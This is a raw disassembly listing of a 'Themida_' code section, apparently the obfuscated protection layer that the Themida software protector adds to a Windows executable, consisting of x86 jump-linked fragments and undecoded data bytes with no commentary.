		sub	ecx, 0FFFFFFFFh
		xor	ecx, 545F4284h
		jmp	loc_56F851
; ---------------------------------------------------------------------------
byte_56DDC5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055FE58o
		dd 411589Dh, 0CDE99C24h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDD3:				; CODE XREF: Themida_:00565A9Bj
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	ebx
		add	ebx, 4
		push	ecx
		jmp	loc_5699DA
; ---------------------------------------------------------------------------
		db 81h
		dd 11B68EFh, 81CF010Ah,	11B68C7h, 5AC1E90Ah, 0BE56FFFFh
		dd 7B1216A7h, 0B6E9F331h, 0BBFFFF77h, 4, 685BD901h, 3417h
		dd 0BE243489h, 1DDC30E9h, 0FF9AFFE9h, 123D05FFh, 895757D9h
		dd 0E9FA89C7h, 0FFFF6872h
; ---------------------------------------------------------------------------


loc_56DE34:				; CODE XREF: Themida_:005600B2j
		pop	edx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_560576
; ---------------------------------------------------------------------------
		dd 2B90C281h, 0B8503ADFh, 1BED3AB8h, 0E958C229h, 0FFFF38FCh
; ---------------------------------------------------------------------------


loc_56DE58:				; CODE XREF: Themida_:005675F6j
		mov	edx, 1D922FA7h
		inc	edx
		dec	edx
		jmp	loc_56551F
; ---------------------------------------------------------------------------
		dd 6BE95051h, 81000002h, 4C2h, 2C28100h, 87000000h, 0B8E92414h
		dd 5BFFFFAFh, 4C681h, 34870000h, 6685C24h, 0E900001Ah
		dd 40A4h
; ---------------------------------------------------------------------------


loc_56DE94:				; CODE XREF: Themida_:00560DE2j
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_567EAC
; ---------------------------------------------------------------------------
		dw 310Dh
		dd 0C150321Bh, 200D06E0h, 401E9A60h, 3ABCC505h,	58C10173h
		dd 5659CB01h, 9C20BCBEh, 0E148E947h
		db 2 dup(0FFh)
word_56DEC6	dw 77FFh		; DATA XREF: Themida_:0055FE3Co
		dd 58669D1Ch, 9C240418h, 0FF20CAE9h, 0E78957FFh, 0FF4892E9h
		dd 5AEE81FFh, 814A9570h, 91405EC6h, 0EBF5742h, 0F72EEB1Ah
		dd 0BD5547DFh, 94D68E7Bh, 295DEF01h, 243C8BF9h,	0DEBFE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF06:				; CODE XREF: Themida_:0056909Ej
		mov	[esp], eax
		mov	eax, 5E675F99h
		add	ebx, eax
		pop	eax
		jmp	loc_56974A
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 13105F79h, 24348B5Ah, 8104C483h, 2C1h, 240C3300h, 33240C31h
		dd 38E9240Ch, 50000063h, 440A4BB8h, 55E9514Bh, 81FFFFC3h
		dd 4C7h, 243C8700h, 6851565Ch, 710566CCh, 934E9h, 0EC815200h
		dd 4, 4048E9h, 24048100h, 4, 6317685Fh,	4EE90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF77:				; CODE XREF: Themida_:0056687Dj
		push	esi
		mov	esi, esp
		jmp	loc_5621FD
; ---------------------------------------------------------------------------


loc_56DF7F:				; CODE XREF: Themida_:00570CC0j
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, edx
		push	2C70h
		mov	[esp], edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5630B5
; ---------------------------------------------------------------------------
		dd 2EF3E95Ch, 815E0000h, 0AF43E9EEh, 148B585Dh,	4C48324h
		dd 348BF301h, 4C48124h,	83000000h, 0CC6804C3h, 89000011h
		dd 85E9241Ch
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DFD3:				; CODE XREF: Themida_:00565E6Cj
		or	ebp, 0F7032F0h
		add	ebp, 735C604Dh
		add	ebp, 7D2C60BAh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_563C6D
; ---------------------------------------------------------------------------
byte_56DFF9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FDE0o
		dd 57016824h, 14890000h, 33746824h, 24890000h, 24048124h
		dd 4, 0E389535Ah, 4C381h, 0EB810000h, 4, 0E9241C87h, 1DADh
		dd 52242C89h, 3C248368h, 0DAF75A0Fh, 0CEE9D2F7h, 0FFFFF4h
		dd 24148BD0h, 0FFE137E9h, 0FFFFBFFFh, 0FA29FFFFh, 0EDC2815Fh
		dd 0E93B5438h, 5722h, 8904EC83h, 0E0892404h, 322E68h, 243C8900h
		dd 4BFh, 5FF80100h, 455368h, 242C8900h,	744BE957h, 0C2810000h
		dd 4, 8704C283h, 835C2414h, 348704C6h, 8C685C24h, 89000023h
		dd 5B54241Ch, 2548E9h, 7AE68100h, 0E97C1E4Dh, 0FFFFE927h
dword_56E0B0	dd 0FF2434FFh, 81582434h, 4C4h,	3AE86800h, 2C890000h, 73E95024h
					; DATA XREF: Themida_:0055FD6Co
		dd 83FFFF80h, 248904ECh, 460E924h, 0D0880000h, 88C38853h
		dd 48B5BDDh, 0E1895124h, 4C181h, 0C1810000h, 4,	5C240C87h
		dd 8DE9EB88h, 81FFFFBBh, 6B43A2C2h, 7AE2811Ch, 0C1575929h
		dd 0F28106E2h, 6E43F88h, 2020B951h, 0CA2958F3h,	8BD52959h
		dd 0C4832414h, 107E904h, 0EC810000h, 4,	0BB241C89h, 67765B93h
		dd 0FF8602E9h, 4C181FFh, 68000000h, 5F7Eh, 0BF243C89h
		dd 0F870EE4h, 8E685756h, 8B067327h, 25E9243Ch
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E15B:				; CODE XREF: Themida_:00569A27j
		pop	ebx
		mov	eax, 2FCE15A2h
		add	eax, edx
		pop	edx
		push	ebx
		jmp	loc_563E23
; ---------------------------------------------------------------------------
		dw 0EF29h
		dd 243C875Dh, 2404895Ch, 4644E9h, 8BE23000h, 0C4812404h
		dd 4, 0D2F6CAFEh, 5066DAF6h, 5166F4B0h,	3E35E9h, 24343300h
		dd 1D8EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E19D:				; CODE XREF: Themida_:00570D84j
		xor	[esp], ebx
		jmp	loc_562EE9
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 48F9E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E1AE:				; CODE XREF: Themida_:0056690Cj
		sub	eax, 97D351Eh
		jmp	loc_5734B9
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57395E
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 5AF10019h, 0FF2465E9h, 0A5C381FFh, 5A69C835h, 4EC81h
		dd 2C890000h, 0C1B95124h, 0C1094A29h, 0E95506E1h, 0FFFFCD8Fh
		dd 7A68E981h, 0C1816A17h, 41634E4Eh, 531CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E202:				; CODE XREF: Themida_:00574224j
		pop	eax
		sub	edx, 88E5D154h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5710E1
; ---------------------------------------------------------------------------
		dd 355AD089h, 55220AAAh, 0FF57D0E9h, 240C8BFFh,	4C481h
		dd 0F5810000h, 3E984444h, 55BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E241:				; CODE XREF: Themida_:00572BB3j
		mov	edx, 44A70F74h
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		push	ecx
		mov	ecx, 33E70A75h
		sub	edx, 1EF274ADh
		add	edx, ecx
		add	edx, 1EF274ADh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	[edx+30h], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FF1D16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E289:				; CODE XREF: Themida_:0056CAFDj
		mov	eax, 5DED080Dh
		neg	eax
		not	eax
		shr	eax, 5
		or	eax, 3F7647D3h
		add	eax, 0A697FA43h
		sub	esi, eax
		jmp	loc_56C2DA
; ---------------------------------------------------------------------------


loc_56E2A6:				; CODE XREF: Themida_:00573CB6j
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	esi, 203E1861h
		sub	esi, 75F3156h
		sub	esi, 76BF2ABDh
		sub	esi, edi
		add	esi, 76BF2ABDh
		add	esi, 75F3156h
		jmp	loc_56A0D6
; ---------------------------------------------------------------------------
		dd 25C9D335h, 58C6216Eh, 2BD5C681h, 0EE816C87h,	7B2F25C4h
		dd 0FFA294E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E2F9:				; CODE XREF: Themida_:0056FD59j
		add	dword ptr [esp+4], 8CF317Ah
		add	[esp+4], ebx
		jmp	loc_562827
; ---------------------------------------------------------------------------


loc_56E30A:				; CODE XREF: Themida_:005693CCj
		pop	edx
		jmp	loc_57455E
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0FFEFFCE9h, 0EACF81FFh, 554FA749h, 48221ABDh
		dd 0FEC78110h, 0E959D750h, 0FFFFB2BCh
; ---------------------------------------------------------------------------


loc_56E330:				; CODE XREF: Themida_:005632C3j
		add	edx, 18C03ABh
		and	edx, 100B564Ah
		jmp	loc_5687CB
; ---------------------------------------------------------------------------
		db 29h,	0D5h, 8Bh
		dd 0C4832414h, 938BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E34E:				; CODE XREF: Themida_:00564254j
		pop	edx
		sub	ecx, 4
		jmp	loc_568EA7
; ---------------------------------------------------------------------------
aVsm		db 'VéM',7,0
		align 10h
		dd 4C481h, 15A0000h, 29BF68C3h,	3C890000h, 7BB85024h, 8347C20Ch
		dd 0BA5201E8h, 2DE8276Fh, 4898E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E385:				; CODE XREF: Themida_:00560604j
		push	eax
		jmp	loc_5749BA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 4EC8304h, 0E9241489h, 0FFFFBE22h
; ---------------------------------------------------------------------------


loc_56E39C:				; CODE XREF: Themida_:00571C70j
		xor	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5714CE
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 0F066B108h, 6C815A3Dh, 47F40424h, 0ABE95480h, 81FFFFF1h
		dd 3A726BC5h, 5DE90154h, 5755E901h, 0E83B48BFh,	4F76BD7Bh
		dd 64E9288Eh
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3DB:				; CODE XREF: Themida_:0056A411j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560402
; ---------------------------------------------------------------------------
		dd 4C681h, 0EE810000h, 4, 0FF8660E9h, 289E2CFFh, 0E99E04F8h
		dd 2DD6h
; ---------------------------------------------------------------------------


loc_56E400:				; CODE XREF: Themida_:00570F20j
		push	110F55F0h
		pop	edx
		sub	edx, 12280CBEh
		not	edx
		push	edi
		mov	edi, 90346591h
		sub	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		sub	ebx, 70E45138h
		add	ecx, 4E692A4Dh
		add	ecx, ebx
		sub	ecx, 4E692A4Dh
		pop	ebx
		jmp	loc_56A408
; ---------------------------------------------------------------------------


loc_56E434:				; CODE XREF: Themida_:00568C7Dj
		mov	esi, 29226D57h
		or	edx, esi
		push	dword ptr [esp]
		jmp	loc_571D33
; ---------------------------------------------------------------------------
		db 68h
		dd 4742F326h, 0FF55EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E44D:				; CODE XREF: Themida_:00567B2Aj
		mov	ebx, 0
		push	esi
		mov	esi, 0F4C2C2Ah
		jmp	loc_56B2DA
; ---------------------------------------------------------------------------


loc_56E45D:				; CODE XREF: Themida_:0057030Fj
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5937h
		mov	[esp], ebp
		jmp	loc_56F2EA
; ---------------------------------------------------------------------------
		db 81h
		dd 0D64362EFh, 0B29AE97Ah, 0E689FFFFh, 4C681h, 0C6830000h
		dd 24348704h, 5124248Bh, 0C90422B9h, 606CE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4A6:				; CODE XREF: Themida_:00562002j
		mov	ebp, 52944A64h
		add	edi, ebp
		pop	ebp
		add	edi, edx
		jmp	loc_5729E1
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FF4CE6E9h, 6695B8FFh, 60E97EDFh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4C7:				; CODE XREF: Themida_:005691A6j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56BFBE
; ---------------------------------------------------------------------------
		dd 4CBDBB53h, 4343446Eh, 0FCE4EB81h, 0D829EFA7h, 0E9241C8Bh
		dd 0FFFFD160h, 0C74C781h, 0CF812682h, 6A9639C9h, 4BE564Fh
		dd 8141CC31h, 0BF3FC9EFh, 81F72906h, 0BF3FC9C7h, 0B0E95E06h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E513:				; CODE XREF: Themida_:00567AB4j
		push	0
		push	bx
		mov	bl, 5Ah
		sub	[esp+2], bl
		pop	bx
		sub	[esp], ch
		add	byte ptr [esp],	5Ah
		mov	ch, [esp]
		add	esp, 4
		inc	ch
		jmp	loc_563C7F
; ---------------------------------------------------------------------------
		dw 483h
		dd 52590424h, 4BAh, 8BD10100h, 0C4832414h, 7B685304h, 0E9000055h
		dd 0FFFFBCFAh, 0C180F900h, 0C8285BB6h, 18D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E561:				; CODE XREF: Themida_:0056538Fj
		sub	edi, 0E165599Fh
		mov	ebx, edi
		pop	edi
		push	edi
		mov	edi, 4B1278DDh
		and	edi, 1022CA6h
		xor	edi, 0D7C5F0Ch
		or	edi, 167E3D3Fh
		shl	edi, 1
		shl	edi, 2
		sub	edi, 812D846Dh
		xor	ebx, edi
		pop	edi
		add	ecx, ebx
		jmp	loc_5636AD
; ---------------------------------------------------------------------------


loc_56E597:				; CODE XREF: Themida_:00575497j
		push	ecx
		mov	cl, 19h
		mov	dl, cl
		pop	ecx
		add	ah, dl
		jmp	loc_56985F
; ---------------------------------------------------------------------------
		dd 891073BEh, 0EE814663h, 0CE87D69h, 2E17E681h,	93E96273h
		db 69h,	2 dup(0FFh)
byte_56E5BB	db 66h			; DATA XREF: Themida_:0055FE24o
		dd 68240C8Bh, 56CFh, 54240C89h,	0E92434FFh, 0FFFF2BBFh
; ---------------------------------------------------------------------------


loc_56E5D0:				; CODE XREF: Themida_:005710F2j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 9, 0FBh, 5Fh
		dd 8143D3F7h, 849C66C3h, 8BDE31D8h, 0C483241Ch,	0E9F30104h
		dd 0FFFF8188h, 81DAF75Fh, 0F727CAC2h, 0BA525740h, 11B5F92h
		dd 0E95AD789h, 0FFFFB200h
dword_56E608	dd 0E924248Bh, 0FFFF198Fh, 4BB0F66h, 84E99C24h,	5AFFFF19h
					; DATA XREF: Themida_:0055FD48o
		dd 2A4BE9h, 0F4C58100h,	8B1F8E7Ah, 54562404h, 4C6815Eh
		dd 83000000h, 0BFE904C6h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E63B:				; CODE XREF: Themida_:0056FA1Ej
		dec	bl
		add	bl, 1Ah
		jmp	loc_56A4B5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 81000000h, 1B0607EEh, 81FE017Ah, 1B0607C6h, 243C8B7Ah
		dd 4C481h, 34870000h, 0DAC3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E66A:				; CODE XREF: Themida_:0056D03Ej
		sub	ecx, 2B1D0051h
		add	ecx, 0A8F50B6h
		pop	ebx
		push	ebx
		jmp	loc_56867C
; ---------------------------------------------------------------------------


loc_56E67D:				; CODE XREF: Themida_:005701D9j
		sub	edx, 66EB377Fh
		mov	ebp, [esp]
		jmp	loc_568B79
; ---------------------------------------------------------------------------
		db 5Eh
		dd 81E38953h, 4C3h, 4BA5200h, 1000000h,	2FC7E9D3h, 0EE01FFFFh
		dd 5D2434FFh, 4C481h, 5E90000h,	29FFFFEEh, 0CD8958C1h
		dd 0AB95159h, 1A93EA2h,	0E90159CDh, 59CE015Dh, 2C681h
		dd 7BE90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E6D3:				; CODE XREF: Themida_:0056F713j
		mov	esi, 4
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 5C881924h
		add	edi, ecx
		add	edi, 5C881924h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5616AD
; ---------------------------------------------------------------------------


loc_56E70E:				; CODE XREF: Themida_:00564D40j
		add	edx, ecx
		pop	ecx
		add	edx, ebp
		push	ebx
		mov	ebx, 600C0530h
		not	ebx
		sub	ebx, 84A69100h
		sub	edx, ebx
		pop	ebx
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_57393E
; ---------------------------------------------------------------------------
aRS_UZsfl	db 'Rºs}À_»*ÙuÔ)ÓZé”l',0
		dw 5F00h
		dd 565AD601h, 42474FFh,	24048F5Eh, 624EE9h, 58C60100h
		dd 2C68359h, 4C2868h, 24348900h, 42474FFh, 5724348Bh, 0FFD948E9h
		dd 9EE958FFh, 89000019h, 240C8BCDh, 5604C483h, 3B5F9A68h
		dd 2E95E57h, 0BFFFFFBAh, 152725Dh, 8107E7C1h, 7A768EE7h
		dd 0D9C78161h, 1F61E28h, 0F8015FF8h, 8033E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E7AA:				; CODE XREF: Themida_:00562237j
		pop	esp
		push	ebx
		mov	ebx, 52DA1556h
		sub	eax, ebx
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_574AFF
; ---------------------------------------------------------------------------
dword_56E7C8	dd 9D1C77FFh, 4105866h,	0C8E99C24h, 80FFFF17h, 0B450B4C3h
					; DATA XREF: Themida_:0055FE30o
		dd 8ECC02Fh, 0FFA313E9h, 2B8FFh, 0C70124EFh, 0ECF8E958h
		dd 0E981FFFFh, 4, 2474FF51h, 48F5904h, 1C895C24h, 134DBB24h
		dd 0DBE93D1Fh, 3300003Bh, 1C31241Ch, 241C3324h,	8124248Bh
		dd 4C4h, 0A1F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E826:				; CODE XREF: Themida_:0056D1B1j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5747A5
; ---------------------------------------------------------------------------
		db 5Bh,	80h, 0C2h
		dd 0D7885377h, 0E95BFC88h, 3181h
; ---------------------------------------------------------------------------


loc_56E840:				; CODE XREF: Themida_:00568B6Bj
		add	esp, 4
		jmp	loc_56277D
; ---------------------------------------------------------------------------
		dd 2C481h, 19040000h, 0FFBFA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E855:				; CODE XREF: Themida_:005658DFj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 30ED5BB9h
		sub	edx, 29EC4BE5h
		and	edx, 480A0921h
		sub	edx, 34427230h
		jmp	loc_5645FA
; ---------------------------------------------------------------------------


loc_56E87B:				; CODE XREF: Themida_:0056A224j
		sub	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56C5F8
; ---------------------------------------------------------------------------
		db 59h,	87h, 0F9h
		dd 2414F757h, 81F9875Fh, 0FA9931E9h, 2C81518Eh,	530D0024h
		dd 0C6815E32h, 32530D00h, 8BF70159h, 0C4812434h, 4, 2474FF57h
		dd 243C8B04h, 0E904C483h, 0FFFF692Ah
; ---------------------------------------------------------------------------


loc_56E8C8:				; CODE XREF: Themida_:00574FC4j
		add	edi, 1C706EF9h
		add	edi, ecx
		push	edx
		jmp	loc_56C862
; ---------------------------------------------------------------------------
		dw 0D629h
		dd 0EC6EE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E8DE:				; CODE XREF: Themida_:00561801j
		mov	esp, [esp]
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_56925C
; ---------------------------------------------------------------------------


loc_56E8F5:				; CODE XREF: Themida_:00568FABj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	0FF373F7h
		jmp	loc_565A40
; ---------------------------------------------------------------------------
word_56E90A	dw 8B66h		; DATA XREF: Themida_:0055FCF0o
		dd 0EC83240Ch, 3CC8E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E916:				; CODE XREF: Themida_:00566B74j
		mov	edi, 4
		jmp	loc_574185
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF873Dh
; ---------------------------------------------------------------------------


loc_56E928:				; CODE XREF: Themida_:0056CE49j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 0BBh, 0E3h, 62h
		dd 0D8297A92h, 0E92434FFh, 364Eh
; ---------------------------------------------------------------------------


loc_56E93C:				; CODE XREF: Themida_:005644A5j
		xchg	edx, [esp]
		mov	esp, [esp]
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 78772F70h
		jmp	loc_55FFF4
; ---------------------------------------------------------------------------


loc_56E957:				; CODE XREF: Themida_:0056E9B9j
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_568956
; ---------------------------------------------------------------------------
		dd 0FF1632E9h
		db 0FFh
byte_56E96D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FD44o
aHay		db '$híY',0
		align 2
		dw 2C89h
		dd 4EC8324h, 51C2E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E982:				; CODE XREF: Themida_:0056B14Dj
		pop	edx
		jmp	loc_565023
; ---------------------------------------------------------------------------


loc_56E988:				; CODE XREF: Themida_:0056D6FCj
		push	edi
		push	edx
		mov	edx, 0DA27F7Eh
		add	[esp+4], edx
		jmp	loc_567284
; ---------------------------------------------------------------------------


loc_56E998:				; CODE XREF: Themida_:005607A5j
		pop	ebp
		push	ebp
		push	eax
		jmp	loc_563340
; ---------------------------------------------------------------------------
		dd 480F8BBBh, 81DBF710h, 0D4977AC3h, 5BD929CEh,	0D6E9CE01h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E9B7:				; CODE XREF: Themida_:00564045j
		mov	ebx, esp
		jmp	loc_56E957
; ---------------------------------------------------------------------------
		dw 8159h
		dd 965A37F1h, 59C8013Fh, 6F60232Dh, 0D3E918h
		db 2 dup(0)
word_56E9D2	dw 8B66h		; DATA XREF: Themida_:0055FCC8o
		dd 0EC83240Ch, 240C8904h, 2434FF54h, 4C48159h, 68000000h
		dd 1BD5h, 50242C89h, 1A41E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E9F6:				; CODE XREF: Themida_:00573050j
		sub	edx, 0CC19DC95h
		add	ebx, edx
		pop	edx
		inc	ebx
		jmp	loc_574D66
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 89h
		dd 348B5FF9h, 1183E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EA12:				; CODE XREF: Themida_:00562DF5j
		mov	esp, [esp]
		jmp	loc_567CB7
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5C243C87h, 0B60FC330h, 0BD6CE9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA2E:				; CODE XREF: Themida_:005648C1j
		push	eax
		mov	eax, 0B36360Ch
		shr	eax, 1
		neg	eax
		not	eax
		add	eax, 8463405h
		not	eax
		add	eax, 0DE14F0Fh
		jmp	loc_5721C6
; ---------------------------------------------------------------------------


loc_56EA4B:				; CODE XREF: Themida_:005604B9j
		mov	edx, esp
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 1F2453FBh
		jmp	loc_56CF1B
; ---------------------------------------------------------------------------
		db 5Ch
		dd 56241C89h, 0C681E689h, 4, 3304EE83h,	34312434h, 24343324h
		dd 2424895Ch, 1C44E9h
		db 0
; ---------------------------------------------------------------------------


loc_56EA81:				; CODE XREF: Themida_:005682E0j
		push	2CEAh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_565DF8
; ---------------------------------------------------------------------------
		db 1, 0D8h, 56h
		dd 0FF4F7CE9h, 668FBEFFh, 0F6815D8Ch, 533630F3h, 5E9F189h
		dd 8B000068h, 0C4832404h, 64CFE904h, 8B5BFFFFh,	4AE9240Ch
		dd 29FFFFBBh, 0B4B4E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EADA:				; CODE XREF: Themida_:0056D2CDj
		sub	dword ptr [esp], 1B46F62h
		sub	[esp], ecx
		add	dword ptr [esp], 1B46F62h
		pop	ecx
		jmp	loc_562B49
; ---------------------------------------------------------------------------


loc_56EAF1:				; CODE XREF: Themida_:0056C153j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5701B8
; ---------------------------------------------------------------------------
		db 40h,	0F7h, 0D0h
		dd 56B2605h, 58C729B4h,	3C8BFE89h, 0E7895724h, 4BE56h
		dd 0F7010000h, 4C7815Eh, 57000000h, 42474FFh, 0CD17E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB42:				; CODE XREF: Themida_:00563827j
		push	dword ptr [esp]
		jmp	loc_56B4B6
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 15EB808Ch, 0E986EB80h, 1820h, 0E959CE21h, 0FFFFF37Dh
		dd 0B3E9D028h, 83FFFF7Eh, 0E95204C2h, 1EC2h, 28CBBA52h
		dd 0E2C13A83h, 4298E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EB7E:				; CODE XREF: Themida_:0057458Ej
		mov	[esp], ecx
		jmp	loc_56059D
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 8108EDC1h
		dd 153AB2CDh, 2EDC113h,	0DEE1E951h, 0C481FFFFh,	4, 3D968h
		dd 2D8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EBBE:				; CODE XREF: Themida_:0056791Fj
		sub	edx, 11401B12h
		xor	edx, 3DCDEB9Ah
		xor	ebx, edx
		pop	edx
		xor	ebx, 6FC50900h
		xor	ebx, 2E7E03CBh
		mov	edx, ebx
		jmp	loc_57398D
; ---------------------------------------------------------------------------
		dd 0E616EAB8h, 16EEBF72h, 0C73172E6h, 26C58158h, 1457810h
		dd 26ED81FDh, 0FF457810h, 815F2434h, 4C4h, 4C58300h, 31242C33h
		dd 2C33242Ch, 0C6E95C24h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC17:				; CODE XREF: Themida_:00571B71j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56C621
; ---------------------------------------------------------------------------


loc_56EC21:				; CODE XREF: Themida_:005609F4j
		push	eax
		jmp	loc_56F773
; ---------------------------------------------------------------------------
		db 35h
		dd 83048248h, 6858C601h, 4F68h,	56243C89h, 0A5E95E54h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EC3F:				; CODE XREF: Themida_:0056F624j
		push	eax
		jmp	loc_56B111
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 7Fh
		dd 282DC580h, 2DED80C5h, 8124048Bh, 4C4h, 62F58000h, 20CEED80h
		dd 0C3FE59EBh, 0FFB96DE9h, 0E9F7B2FFh, 0FFFFC282h
; ---------------------------------------------------------------------------


loc_56EC70:				; CODE XREF: Themida_:00560271j
		push	ecx
		mov	ecx, 1BFF5B5Bh
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_567A54
; ---------------------------------------------------------------------------
		dd 0B850h, 0F8290000h, 24048B97h, 4C481h, 0C7810000h, 5384760Ch
		dd 717BC781h, 0C381B052h, 371B6D13h, 5769E9h
		db 0
; ---------------------------------------------------------------------------


loc_56ECA9:				; CODE XREF: Themida_:0056060Aj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_5679B3
; ---------------------------------------------------------------------------
		db 53h
		dd 74EBDBBh, 0FACB816Bh, 0E91B9046h, 0FFFF418Dh, 875EF701h
		dd 63E9243Ch, 89FFFFD6h, 672D5BD9h, 0E92BDB49h,	0AD7h
		dd 4EC835Ch, 54243489h,	4B4AE9h, 5AD12900h, 4186BE56h
